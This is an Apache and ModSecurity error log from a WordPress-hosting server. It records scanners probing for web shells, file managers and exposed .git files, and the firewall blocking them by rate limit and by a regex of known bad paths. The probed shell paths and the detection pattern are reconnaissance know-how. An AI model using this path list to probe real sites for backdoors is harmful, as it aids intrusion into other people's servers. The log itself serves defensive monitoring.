[Mon May 04 23:54:33.170668 2026] [proxy_fcgi:error] [pid 3341:tid 3363] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:33.394289 2026] [proxy_fcgi:error] [pid 3341:tid 3344] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:33.643891 2026] [proxy_fcgi:error] [pid 3341:tid 3368] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:33.864895 2026] [proxy_fcgi:error] [pid 3341:tid 3367] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:34.082039 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:42816] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "afjBOk9o3_LordU0wW6gNQAAAJE"]
[Mon May 04 23:54:34.651717 2026] [:error] [pid 61042:tid 61066] [client 4.204.197.96:42768] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "afjBOknAPPS1fjubA9Rx5AAAANQ"]
[Mon May 04 23:54:35.178663 2026] [:error] [pid 61042:tid 61050] [client 4.204.197.96:42753] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "afjBO0nAPPS1fjubA9Rx5gAAAMQ"]
[Mon May 04 23:54:35.606930 2026] [:error] [pid 61150:tid 61173] [client 4.204.197.96:42863] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "afjBO-8QXWVLiwIGVpepFAAAAVQ"]
[Mon May 04 23:54:36.082782 2026] [:error] [pid 61150:tid 61169] [client 4.204.197.96:42920] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "afjBPO8QXWVLiwIGVpepFgAAAVA"]
[Mon May 04 23:54:36.512922 2026] [:error] [pid 61042:tid 61060] [client 4.204.197.96:42844] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "afjBPEnAPPS1fjubA9Rx6QAAAM4"]
[Mon May 04 23:54:37.087194 2026] [:error] [pid 61044:tid 61124] [client 4.204.197.96:42833] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "afjBPUw8w2zZZXI6H1u6UQAAABY"]
[Mon May 04 23:54:37.810148 2026] [:error] [pid 61043:tid 61078] [client 4.204.197.96:42772] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "afjBPZ8-LwtfURjiAbDqUgAAAEM"]
[Mon May 04 23:54:38.304010 2026] [:error] [pid 32471:tid 32487] [client 4.204.197.96:42877] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-Blogs.php"] [unique_id "afjBPnmjpb9EYq6AqhKTGAAAAQ0"]
[Mon May 04 23:54:38.754380 2026] [:error] [pid 32471:tid 32488] [client 4.204.197.96:42643] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-Blogs.php"] [unique_id "afjBPnmjpb9EYq6AqhKTGwAAAQ4"]
[Mon May 04 23:54:39.366680 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:42799] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-Blogs.php"] [unique_id "afjBP09o3_LordU0wW6gNgAAAIs"]
[Mon May 04 23:54:39.936173 2026] [:error] [pid 61043:tid 61094] [client 4.204.197.96:42628] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-Blogs.php"] [unique_id "afjBP58-LwtfURjiAbDqVAAAAFM"]
[Mon May 04 23:54:40.648303 2026] [:error] [pid 61043:tid 61089] [client 4.204.197.96:42930] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp_ok.php"] [unique_id "afjBQJ8-LwtfURjiAbDqVgAAAE4"]
[Mon May 04 23:54:41.086145 2026] [:error] [pid 61043:tid 61081] [client 4.204.197.96:42940] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp_ok.php"] [unique_id "afjBQZ8-LwtfURjiAbDqVwAAAEY"]
[Mon May 04 23:54:41.591127 2026] [:error] [pid 32471:tid 32479] [client 4.204.197.96:42765] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp_ok.php"] [unique_id "afjBQXmjpb9EYq6AqhKTIAAAAQU"]
[Mon May 04 23:54:42.203727 2026] [:error] [pid 61150:tid 61174] [client 4.204.197.96:42847] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp_ok.php"] [unique_id "afjBQu8QXWVLiwIGVpepGwAAAVU"]
[Mon May 04 23:54:42.723412 2026] [:error] [pid 32471:tid 32498] [client 4.204.197.96:42858] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afjBQnmjpb9EYq6AqhKTIwAAARg"]
[Mon May 04 23:54:43.189908 2026] [:error] [pid 32471:tid 32477] [client 4.204.197.96:42761] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afjBQ3mjpb9EYq6AqhKTJQAAAQM"]
[Mon May 04 23:54:43.829468 2026] [:error] [pid 32471:tid 32480] [client 4.204.197.96:42805] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afjBQ3mjpb9EYq6AqhKTJwAAAQY"]
[Mon May 04 23:54:44.265452 2026] [:error] [pid 32471:tid 32482] [client 4.204.197.96:42852] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afjBRHmjpb9EYq6AqhKTKgAAAQg"]
[Mon May 04 23:54:44.830555 2026] [:error] [pid 61043:tid 61086] [client 4.204.197.96:42806] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "afjBRJ8-LwtfURjiAbDqWwAAAEs"]
[Mon May 04 23:54:45.429208 2026] [:error] [pid 32471:tid 32484] [client 4.204.197.96:42756] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "afjBRXmjpb9EYq6AqhKTLAAAAQo"]
[Mon May 04 23:54:45.911378 2026] [:error] [pid 61044:tid 61123] [client 4.204.197.96:42866] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "afjBRUw8w2zZZXI6H1u6VAAAABU"]
[Mon May 04 23:54:46.354837 2026] [:error] [pid 3341:tid 3344] [client 4.204.197.96:42793] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "afjBRk9o3_LordU0wW6gNwAAAIA"]
[Mon May 04 23:54:46.880808 2026] [:error] [pid 61043:tid 61078] [client 4.204.197.96:42856] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file32.php"] [unique_id "afjBRp8-LwtfURjiAbDqYAAAAEM"]
[Mon May 04 23:54:47.324539 2026] [:error] [pid 61043:tid 61076] [client 4.204.197.96:42818] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file32.php"] [unique_id "afjBR58-LwtfURjiAbDqYwAAAEE"]
[Mon May 04 23:54:47.792032 2026] [:error] [pid 61044:tid 61104] [client 4.204.197.96:42794] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file32.php"] [unique_id "afjBR0w8w2zZZXI6H1u6VwAAAAI"]
[Mon May 04 23:54:48.246929 2026] [:error] [pid 61044:tid 61120] [client 4.204.197.96:42800] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file32.php"] [unique_id "afjBSEw8w2zZZXI6H1u6WQAAABI"]
[Mon May 04 23:54:48.735152 2026] [:error] [pid 61150:tid 61169] [client 4.204.197.96:42760] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "afjBSO8QXWVLiwIGVpepIAAAAVA"]
[Mon May 04 23:54:49.196154 2026] [:error] [pid 61044:tid 61108] [client 4.204.197.96:42812] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "afjBSUw8w2zZZXI6H1u6WwAAAAY"]
[Mon May 04 23:54:49.754574 2026] [:error] [pid 61044:tid 61115] [client 4.204.197.96:43008] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "afjBSUw8w2zZZXI6H1u6XAAAAA0"]
[Mon May 04 23:54:50.183634 2026] [:error] [pid 3341:tid 3365] [client 4.204.197.96:42804] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "afjBSk9o3_LordU0wW6gPwAAAJU"]
[Mon May 04 23:54:50.724722 2026] [:error] [pid 32471:tid 32490] [client 4.204.197.96:42876] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "afjBSnmjpb9EYq6AqhKTMAAAARA"]
[Mon May 04 23:54:51.323319 2026] [:error] [pid 3341:tid 3352] [client 4.204.197.96:42642] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "afjBS09o3_LordU0wW6gRAAAAIg"]
[Mon May 04 23:54:51.803108 2026] [:error] [pid 61043:tid 61088] [client 4.204.197.96:42773] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "afjBS58-LwtfURjiAbDqZAAAAE0"]
[Mon May 04 23:54:52.295458 2026] [:error] [pid 61044:tid 61112] [client 4.204.197.96:42650] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "afjBTEw8w2zZZXI6H1u6XQAAAAo"]
[Tue May 05 03:54:26.189772 2026] [:error] [pid 37103:tid 37198] [client 216.81.248.217:50670] [client 216.81.248.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afj5cnTjXvo__31eP68OrAAAAFU"]
[Tue May 05 07:36:02.728308 2026] [proxy_fcgi:error] [pid 39071:tid 39098] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:03.016334 2026] [proxy_fcgi:error] [pid 39071:tid 39100] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:03.298542 2026] [proxy_fcgi:error] [pid 39071:tid 39093] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:03.589987 2026] [proxy_fcgi:error] [pid 39071:tid 39103] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:03.909713 2026] [proxy_fcgi:error] [pid 39071:tid 39088] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:04.196499 2026] [proxy_fcgi:error] [pid 39071:tid 39102] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:04.482489 2026] [proxy_fcgi:error] [pid 39071:tid 39104] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:04.779477 2026] [proxy_fcgi:error] [pid 39071:tid 39092] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:05.402720 2026] [proxy_fcgi:error] [pid 39071:tid 39086] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:05.681582 2026] [proxy_fcgi:error] [pid 39071:tid 39083] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:05.982719 2026] [proxy_fcgi:error] [pid 39071:tid 39090] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:06.259646 2026] [proxy_fcgi:error] [pid 39071:tid 39087] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:06.542976 2026] [proxy_fcgi:error] [pid 39071:tid 39099] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:06.853322 2026] [proxy_fcgi:error] [pid 39071:tid 39091] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:07.134532 2026] [proxy_fcgi:error] [pid 39071:tid 39080] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:07.426812 2026] [proxy_fcgi:error] [pid 39071:tid 39088] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:07.722512 2026] [proxy_fcgi:error] [pid 39071:tid 39102] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:08.007309 2026] [proxy_fcgi:error] [pid 39071:tid 39104] [client 45.86.200.82:56305] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:12.005040 2026] [:error] [pid 39071:tid 39087] [client 45.86.200.82:56305] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "afktbIvmnRMz9gRzix1njAAAAAc"]
[Tue May 05 07:36:13.957786 2026] [:error] [pid 41055:tid 41059] [client 45.86.200.55:44195] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "afktbSepFwKgA_SKOHjN9wAAAQE"]
[Tue May 05 07:36:15.850401 2026] [proxy_fcgi:error] [pid 39178:tid 39180] [client 45.86.200.73:64607] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:16.671440 2026] [:error] [pid 39178:tid 39187] [client 45.86.200.73:64607] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "afktcDaPrgTaiOD_15tmWgAAAMc"]
[Tue May 05 07:36:18.124002 2026] [proxy_fcgi:error] [pid 41055:tid 41081] [client 45.86.200.78:33865] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:18.398692 2026] [proxy_fcgi:error] [pid 41055:tid 41076] [client 45.86.200.78:33865] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:18.669211 2026] [:error] [pid 41055:tid 41071] [client 45.86.200.78:33865] [client 45.86.200.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "afktciepFwKgA_SKOHjOKQAAAQ0"]
[Tue May 05 07:36:19.483170 2026] [proxy_fcgi:error] [pid 41055:tid 41079] [client 45.86.200.93:63941] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:20.861930 2026] [:error] [pid 41055:tid 41071] [client 45.86.200.93:63941] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "afktdCepFwKgA_SKOHjOUAAAAQ0"]
[Tue May 05 07:36:21.694538 2026] [:error] [pid 39072:tid 39124] [client 45.86.200.111:33427] [client 45.86.200.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "afktdfolSHl4aAnrIovuRQAAAFE"]
[Tue May 05 07:36:22.240443 2026] [:error] [pid 41055:tid 41077] [client 45.86.200.101:37317] [client 45.86.200.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "afktdiepFwKgA_SKOHjObQAAARM"]
[Tue May 05 07:36:22.777591 2026] [:error] [pid 39178:tid 39203] [client 45.86.200.58:30715] [client 45.86.200.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "afktdjaPrgTaiOD_15tmvQAAANc"]
[Tue May 05 07:36:23.310504 2026] [:error] [pid 41055:tid 41075] [client 45.86.200.54:52399] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "afktdyepFwKgA_SKOHjOiAAAARE"]
[Tue May 05 07:36:24.927947 2026] [:error] [pid 41055:tid 41074] [client 45.86.200.82:41317] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "afkteCepFwKgA_SKOHjOswAAARA"]
